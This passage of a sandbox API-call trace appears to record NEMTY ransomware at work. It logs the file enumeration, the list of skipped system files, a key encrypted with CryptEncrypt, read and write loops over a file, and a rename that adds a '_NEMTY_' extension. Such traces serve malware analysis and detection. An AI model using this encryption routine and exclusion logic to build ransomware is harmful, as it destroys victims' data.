lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0197.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0197.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0197.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0197.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0197.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0197.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.965] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-Mac", cAlternateFileName="AD9A15~1")) returned 1 [0197.965] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2=".") returned 1 [0197.965] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="..") returned 1 [0197.965] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="...") returned 1 [0197.965] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="windows") returned -1 [0197.965] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="$RECYCLE.BIN") returned 1 [0197.965] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="rsa") returned -1 [0197.965] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="NTDETECT.COM") returned -1 [0197.965] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="ntldr") returned -1 [0197.966] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="MSDOS.SYS") returned -1 [0197.966] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="IO.SYS") returned -1 [0197.966] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="boot.ini") returned -1 [0197.966] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="boot.ini") returned -1 [0197.966] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="AUTOEXEC.BAT") returned -1 [0197.966] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="ntuser.dat") returned -1 [0197.966] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="desktop.ini") returned -1 [0197.966] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="CONFIG.SYS") returned -1 [0197.966] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="RECYCLER") returned -1 [0197.966] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="BOOTSECT.BAK") returned -1 [0197.966] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="bootmgr") returned -1 [0197.966] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="programdata") returned -1 [0197.966] lstrcmpiW (lpString1="Adobe-CNS1-H-Mac", lpString2="appdata") returned -1 [0197.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0197.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-Mac", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0197.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-Mac", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-H-Mac", lpUsedDefaultChar=0x0) returned 16 [0197.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0197.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-Mac", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0197.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-Mac", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-H-Mac", lpUsedDefaultChar=0x0) returned 16 [0197.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0197.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0197.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0197.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-Mac", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0197.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-Mac", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-H-Mac", lpUsedDefaultChar=0x0) returned 16 [0197.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0197.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0197.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-Mac", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0197.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0197.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-Mac", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-H-Mac", lpUsedDefaultChar=0x0) returned 16 [0197.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0197.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0197.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0197.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0197.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0197.967] Sleep (dwMilliseconds=0x5) [0197.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x29a68ed0, dwHighDateTime=0x1d561e8)) [0197.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x29a68ed0, dwHighDateTime=0x1d561e8)) [0197.978] GetLastError () returned 0x5 [0197.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0197.978] GetLastError () returned 0x5 [0197.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0197.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0197.978] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0197.978] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0197.978] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0197.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0197.978] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="cQyu2rUF7rUsPuWgl3rFMAbXW5gNnMNVbz0Y/DMdVyhkvy9C96BVLo8apM33B/aP\r\nVJxXhUsPx4GX/0bjz/4DcojAWpb4M0bjmU1kHGMAvstTdp+7kRQVRWc8ltUvG1lD\r\nLA1ojzwQUaqxkr1w2B94sgHbBAePqj68ioRRCod7FOA+cDst8ObL5kXZvKaPJdz6\r\n88bucRr61IDPBOkZemVGgDheK7clEH0jpcpMNPyqBYsri/z7jDJlh/lw2JjbdXRv\r\n9Z8ctdRrjDhFXEMRgXlxvbtlLrhFnidv3sq3RWz/f9yEPafuqys9pqwMztDFE5Td\r\nzUccmyRGgALjn3qzoCGpHw==\r\n", pcchString=0x653e91c) returned 1 [0197.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0197.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0197.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0197.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0197.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0197.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0197.978] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-mac"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0197.979] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0197.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0197.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.979] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.998] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.998] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.017] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.017] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.026] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.026] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.036] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.036] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.045] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.045] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.056] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.056] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.065] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.065] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.075] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.081] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.087] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.087] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0198.087] CloseHandle (hObject=0xffffffff) returned 0 [0198.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0198.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0198.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0198.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0198.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0198.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0198.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0198.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94130 [0198.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0198.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0198.088] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-mac"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Mac._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-mac._nemty_kgobjgd_")) returned 0 [0198.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0198.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0198.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0198.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0198.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0198.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0198.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0198.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0198.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0198.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.088] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44cc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-UCS2", cAlternateFileName="ADD444~1")) returned 1 [0198.088] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2=".") returned 1 [0198.088] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="..") returned 1 [0198.088] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="...") returned 1 [0198.088] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="windows") returned -1 [0198.088] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="$RECYCLE.BIN") returned 1 [0198.088] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="rsa") returned -1 [0198.088] lstrcmpiW 